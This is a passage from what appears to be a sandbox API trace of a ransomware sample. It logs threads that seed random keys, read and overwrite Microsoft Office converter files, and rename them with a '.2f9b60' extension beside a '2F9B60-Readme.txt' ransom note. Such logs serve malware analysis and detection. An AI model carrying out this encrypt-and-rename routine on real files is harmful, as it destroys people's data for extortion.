_Dest=0x1ce5e0fa, _Format="%c%c" | out: _Dest="4b") returned 2 [0203.696] sprintf (in: _Dest=0x1ce5e0fc, _Format="%c%c" | out: _Dest="e6") returned 2 [0203.696] sprintf (in: _Dest=0x1ce5e0fe, _Format="%c%c" | out: _Dest="bd") returned 2 [0203.696] sprintf (in: _Dest=0x1ce5e100, _Format="%c%c" | out: _Dest="4f") returned 2 [0203.696] sprintf (in: _Dest=0x1ce5e102, _Format="%c%c" | out: _Dest="7a") returned 2 [0203.696] sprintf (in: _Dest=0x1ce5e104, _Format="%c%c" | out: _Dest="6d") returned 2 [0203.696] sprintf (in: _Dest=0x1ce5e106, _Format="%c%c" | out: _Dest="41") returned 2 [0203.696] sprintf (in: _Dest=0x1ce5e108, _Format="%c%c" | out: _Dest="a7") returned 2 [0203.696] sprintf (in: _Dest=0x1ce5e10a, _Format="%c%c" | out: _Dest="30") returned 2 [0203.696] sprintf (in: _Dest=0x1ce5e10c, _Format="%c%c" | out: _Dest="c7") returned 2 [0203.696] sprintf (in: _Dest=0x1ce5e10e, _Format="%c%c" | out: _Dest="37") returned 2 [0203.696] sprintf (in: _Dest=0x1ce5e110, _Format="%c%c" | out: _Dest="51") returned 2 [0203.696] sprintf (in: _Dest=0x1ce5e112, _Format="%c%c" | out: _Dest="91") returned 2 [0203.696] sprintf (in: _Dest=0x1ce5e114, _Format="%c%c" | out: _Dest="bb") returned 2 [0203.696] sprintf (in: _Dest=0x1ce5e116, _Format="%c%c" | out: _Dest="d0") returned 2 [0203.696] RtlInitAnsiString (in: DestinationString=0x3571fbc8, SourceString="76b6ef41014be6bd4f7a6d41a730c7375191bbd0" | out: DestinationString="76b6ef41014be6bd4f7a6d41a730c7375191bbd0") [0203.696] RtlAnsiStringToUnicodeString (in: DestinationString=0x3571fb98, SourceString="76b6ef41014be6bd4f7a6d41a730c7375191bbd0", AllocateDestinationString=1 | out: DestinationString="76b6ef41014be6bd4f7a6d41a730c7375191bbd0") returned 0x0 [0203.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x431f9720 [0203.697] wcscat (in: _Dest=0x431c4c20, _Source="76b6ef4101" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\76b6ef4101") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\76b6ef4101" [0203.697] wcscat (in: _Dest=0x431c4c20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\76b6ef4101.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\76b6ef4101.2f9b60" [0203.697] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\76b6ef4101.2f9b60", NtPathName=0x3571fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\76b6ef4101.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x431310c0 [0223.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431310c0) returned 1 [0223.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43223210) returned 1 [0223.970] NtQueryInformationFile (in: FileHandle=0x460, IoStatusBlock=0x3571fbd8, FileInformation=0x3571fbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3571fbd8, FileInformation=0x3571fbe8) returned 0x0 [0223.970] NtSetInformationFile (FileHandle=0x460, IoStatusBlock=0x3571fbd8, FileInformation=0x3571fbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c4c20) returned 1 [0225.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f9720) returned 1 [0225.291] FlushFileBuffers (hFile=0x460) returned 1 [0225.555] CloseHandle (hObject=0x460) returned 1 [0226.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20505af0 [0226.019] wcscpy (in: _Dest=0x20505af0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0226.019] wcscat (in: _Dest=0x20505af0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" [0226.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\2f9b60-readme.txt")) returned 0x20 [0226.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505af0) returned 1 [0226.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5c40) returned 1 Thread: id = 1209 os_tid = 0xc5c [0114.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae")) returned 0x20 [0114.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE", dwFileAttributes=0x20) returned 1 [0114.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x470 [0114.674] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x381dfca0 | out: lpFileSize=0x381dfca0*=71584) returned 1 [0114.674] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x1179c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.674] ReadFile (in: hFile=0x470, lpBuffer=0x381dfc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x381dfc68, lpOverlapped=0x0 | out: lpBuffer=0x381dfc20*, lpNumberOfBytesRead=0x381dfc68*=0x4, lpOverlapped=0x0) returned 1 [0114.676] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202621e0 [0114.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b40 [0114.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0114.676] NtQuerySystemTime (in: CurrentTime=0x381dfb60 | out: CurrentTime=0x381dfb60*=132462177201430000) returned 0x0 [0114.676] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x7bd27666 [0114.676] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x544a5f28 [0114.676] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x39a057b9 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x10f02051 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x550cfc92 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x6764a38e [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x30dd0476 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x24eb2958 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x1253973 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x72b9d4b9 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x50663d56 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x5fce831e [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x4616975f [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x14f8b019 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x604aef20 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x12fe570a [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x4dd0d8da [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x9482595 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x6f102a67 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x3631e595 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x4a5aab83 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x4d573f5a [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x717f0711 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x6d4a6a2b [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x3b56036e [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x6386c933 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x2c8a5781 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0xa75250c [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x1783d6b9 [0114.677] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x3d38b4a6 [0114.678] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x50c488ae [0114.678] RtlRandomEx (in: Seed=0x381dfb50 | out: Seed=0x381dfb50) returned 0x19985dab [0114.688] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.688] ReadFile (in: hFile=0x470, lpBuffer=0x41efd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x381dfbc0, lpOverlapped=0x0 | out: lpBuffer=0x41efd170*, lpNumberOfBytesRead=0x381dfbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0114.694] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202621e0 [0114.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202621e0) returned 1 [0114.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f00d80 [0114.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202621e0 [0114.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0114.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a70) returned 1 [0114.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.696] WriteFile (in: hFile=0x470, lpBuffer=0x41f00d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x381dfbc0, lpOverlapped=0x0 | out: lpBuffer=0x41f00d80*, lpNumberOfBytesWritten=0x381dfbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f00d80) returned 1 [0148.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41efd170) returned 1 [0148.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85ad80 [0148.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0148.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0148.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0148.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a62f0) returned 1 [0148.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202a62f0 [0148.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6bf0 [0148.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7460 [0148.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7460) returned 1 [0148.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0148.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0148.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x169800 [0148.043] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0148.043] WriteFile (hFile=0x470, lpBuffer=0x169800, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x381dfc70, lpOverlapped=0x0) [0200.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866b40 [0200.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261670 [0200.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261670) returned 1 [0200.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f0e0 [0200.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261670 [0200.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202630e0 [0200.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202630e0) returned 1 [0200.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866b40) returned 1 [0200.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d8400 [0200.351] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="3b") returned 2 [0200.351] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="11") returned 2 [0200.351] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="1d") returned 2 [0200.351] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="f1") returned 2 [0200.351] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="d7") returned 2 [0200.351] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="88") returned 2 [0200.351] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="32") returned 2 [0200.351] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="c1") returned 2 [0200.351] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="9c") returned 2 [0200.351] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="90") returned 2 [0200.351] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="1d") returned 2 [0200.351] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="97") returned 2 [0200.351] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="9d") returned 2 [0200.351] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="b9") returned 2 [0200.352] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="43") returned 2 [0200.352] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="19") returned 2 [0200.352] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="da") returned 2 [0200.352] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="93") returned 2 [0200.352] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="83") returned 2 [0200.352] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="fc") returned 2 [0200.352] RtlInitAnsiString (in: DestinationString=0x381dfce8, SourceString="3b111df1d78832c19c901d979db94319da9383fc" | out: DestinationString="3b111df1d78832c19c901d979db94319da9383fc") [0200.352] RtlAnsiStringToUnicodeString (in: DestinationString=0x381dfcb8, SourceString="3b111df1d78832c19c901d979db94319da9383fc", AllocateDestinationString=1 | out: DestinationString="3b111df1d78832c19c901d979db94319da9383fc") returned 0x0 [0200.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858790 [0200.353] wcscat (in: _Dest=0x431e43e0, _Source="3b111df1d7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\3b111df1d7") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\3b111df1d7" [0200.353] wcscat (in: _Dest=0x431e43e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\3b111df1d7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\3b111df1d7.2f9b60" [0200.353] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\3b111df1d7.2f9b60", NtPathName=0x381dfc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\3b111df1d7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x431f4610 [0219.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4610) returned 1 [0219.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fafe0) returned 1 [0219.876] NtQueryInformationFile (in: FileHandle=0x470, IoStatusBlock=0x381dfcf8, FileInformation=0x381dfd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x381dfcf8, FileInformation=0x381dfd08) returned 0x0 [0219.876] NtSetInformationFile (FileHandle=0x470, IoStatusBlock=0x381dfcf8, FileInformation=0x381dfd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e43e0) returned 1 [0222.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858790) returned 1 [0222.709] FlushFileBuffers (hFile=0x470) returned 1 [0222.712] CloseHandle (hObject=0x470) returned 1 [0223.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x431cb4e0 [0223.202] wcscpy (in: _Dest=0x431cb4e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0223.202] wcscat (in: _Dest=0x431cb4e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" [0223.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\2f9b60-readme.txt")) returned 0x20 [0223.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb4e0) returned 1 [0223.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5cd0) returned 1 Thread: id = 1210 os_tid = 0xd24 [0114.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae")) returned 0x20 [0114.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE", dwFileAttributes=0x20) returned 1 [0114.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xebc [0114.692] GetFileSizeEx (in: hFile=0xebc, lpFileSize=0x382cfce0 | out: lpFileSize=0x382cfce0*=63384) returned 1 [0114.692] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0xf794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.692] ReadFile (in: hFile=0xebc, lpBuffer=0x382cfc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x382cfca8, lpOverlapped=0x0 | out: lpBuffer=0x382cfc60*, lpNumberOfBytesRead=0x382cfca8*=0x4, lpOverlapped=0x0) returned 1 [0114.697] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0114.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202639e0 [0114.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633b0 [0114.697] NtQuerySystemTime (in: CurrentTime=0x382cfba0 | out: CurrentTime=0x382cfba0*=132462177201586000) returned 0x0 [0114.697] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x1fe3ba08 [0114.697] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x680a7614 [0114.697] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x38bd0100 [0114.697] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x69fb3500 [0114.697] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0xc5645b5 [0114.697] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x41693f7f [0114.697] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x7c19c128 [0114.697] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x3c7d5b88 [0114.697] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x670b0c00 [0114.697] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0xd0ddc22 [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x219f7fc0 [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x24c4f69f [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x41c9c57a [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x5e8d4dc [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x47f032d9 [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x1d62a84c [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0xea7dcb5 [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x497ad97d [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x30c2ae85 [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x506d2415 [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x51adade7 [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x349798e9 [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x6fb2836c [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x32034c0f [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x70ab5e9c [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x3d09aff9 [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x4f35488b [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x2b4007a4 [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x5b9054fc [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x419ac1f [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x330d304f [0114.698] RtlRandomEx (in: Seed=0x382cfb90 | out: Seed=0x382cfb90) returned 0x459ff083 [0114.709] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.709] ReadFile (in: hFile=0xebc, lpBuffer=0x41ed78d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x382cfc00, lpOverlapped=0x0 | out: lpBuffer=0x41ed78d0*, lpNumberOfBytesRead=0x382cfc00*=0x3c00, lpOverlapped=0x0) returned 1 [0114.713] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0114.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a70) returned 1 [0114.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ef9560 [0114.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0114.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633b0 [0114.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202633b0) returned 1 [0114.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.715] WriteFile (in: hFile=0xebc, lpBuffer=0x41ef9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x382cfc00, lpOverlapped=0x0 | out: lpBuffer=0x41ef9560*, lpNumberOfBytesWritten=0x382cfc00*=0x3c00, lpOverlapped=0x0) returned 1 [0147.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ef9560) returned 1 [0147.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ed78d0) returned 1 [0147.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced8250 [0147.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) 